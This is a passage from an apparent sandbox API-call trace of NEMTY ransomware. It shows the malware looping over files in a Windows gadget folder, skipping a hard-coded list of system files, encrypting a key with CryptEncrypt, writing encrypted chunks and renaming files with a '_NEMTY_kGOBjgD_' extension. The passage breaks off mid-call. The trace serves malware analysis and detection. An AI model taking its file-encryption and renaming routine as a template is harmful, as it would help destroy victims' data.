hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.076] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0129.076] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8637267a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8637267a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29a7ffd3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb71, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="graph_up.png", cAlternateFileName="")) returned 1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2=".") returned 1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2="..") returned 1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2="...") returned 1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2="windows") returned -1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2="$RECYCLE.BIN") returned 1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2="rsa") returned -1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2="NTDETECT.COM") returned -1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2="ntldr") returned -1 [0129.076] lstrcmpiW (lpString1="graph_up.png", lpString2="MSDOS.SYS") returned -1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="IO.SYS") returned -1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="boot.ini") returned 1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="boot.ini") returned 1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="AUTOEXEC.BAT") returned 1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="ntuser.dat") returned -1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="desktop.ini") returned 1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="CONFIG.SYS") returned 1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="RECYCLER") returned -1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="BOOTSECT.BAK") returned 1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="bootmgr") returned 1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="programdata") returned -1 [0129.077] lstrcmpiW (lpString1="graph_up.png", lpString2="appdata") returned 1 [0129.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_up.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_up.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_up.png", lpUsedDefaultChar=0x0) returned 12 [0129.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_up.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_up.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_up.png", lpUsedDefaultChar=0x0) returned 12 [0129.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_up.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_up.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_up.png", lpUsedDefaultChar=0x0) returned 12 [0129.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_up.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.077] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="graph_up.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="graph_up.png", lpUsedDefaultChar=0x0) returned 12 [0129.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0129.077] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0129.077] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0129.077] Sleep (dwMilliseconds=0x5) [0129.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x96d6d0, dwHighDateTime=0x1d561e8)) [0129.088] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x96d6d0, dwHighDateTime=0x1d561e8)) [0129.088] GetLastError () returned 0x5 [0129.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.088] GetLastError () returned 0x5 [0129.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.088] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0129.088] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0129.088] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0129.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0129.088] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="H2GNTEIsY2lROYpGh85CJege5NHLdBzJalSVGMC7+7dssn07guW6d4GhutnsjPYl\r\njBa1Mu5hw5i5rEXlsue/cPbRkzDPw7M+UsmYcj9f2ZVZhcp3Nckh5OszJVOb6l/H\r\n6Y7pMI+e9yM/s7CeUCKL8267Nsk3uDCzCfrxTItrIsCy7QW2xt75slmNtbIbej31\r\nvvCu9SrnWKByNt1rz1+Nro2tRourIbW4sQ/zIJ4zjGToqywEd6YSRKOP57epbnNP\r\n1KzmEwDl8FywHUyTvWiuIUwe30SzZnmeqLzfUyiOfzRnm9Duttg5H2EAhD9Rgyn7\r\nRSrFHs9g5rtETBmlaryceg==\r\n", pcchString=0x653e91c) returned 1 [0129.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0129.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0129.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0129.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0129.088] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.089] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0129.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0129.089] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.089] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.098] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.108] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.108] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.108] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.117] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.117] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.117] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.127] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.127] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.127] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.137] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.137] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.137] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.146] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.146] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.146] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.165] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.165] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.165] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.175] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.175] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.175] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.185] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.185] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.185] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.197] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0129.197] CloseHandle (hObject=0xffffffff) returned 0 [0129.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0129.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.198] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0129.198] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\graph_up.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\graph_up.png._nemty_kgobjgd_")) returned 0 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.198] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0129.198] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8640abee, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8640abee, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29acc28f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="info.png", cAlternateFileName="")) returned 1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2=".") returned 1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="..") returned 1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="...") returned 1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="windows") returned -1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="$RECYCLE.BIN") returned 1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="rsa") returned -1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="NTDETECT.COM") returned -1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="ntldr") returned -1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="MSDOS.SYS") returned -1 [0129.198] lstrcmpiW (lpString1="info.png", lpString2="IO.SYS") returned -1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="boot.ini") returned 1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="boot.ini") returned 1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="AUTOEXEC.BAT") returned 1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="ntuser.dat") returned -1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="desktop.ini") returned 1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="CONFIG.SYS") returned 1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="RECYCLER") returned -1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="BOOTSECT.BAK") returned 1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="bootmgr") returned 1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="programdata") returned -1 [0129.199] lstrcmpiW (lpString1="info.png", lpString2="appdata") returned 1 [0129.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.png", lpUsedDefaultChar=0x0) returned 8 [0129.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.199] WideCharToMultiByte (in: 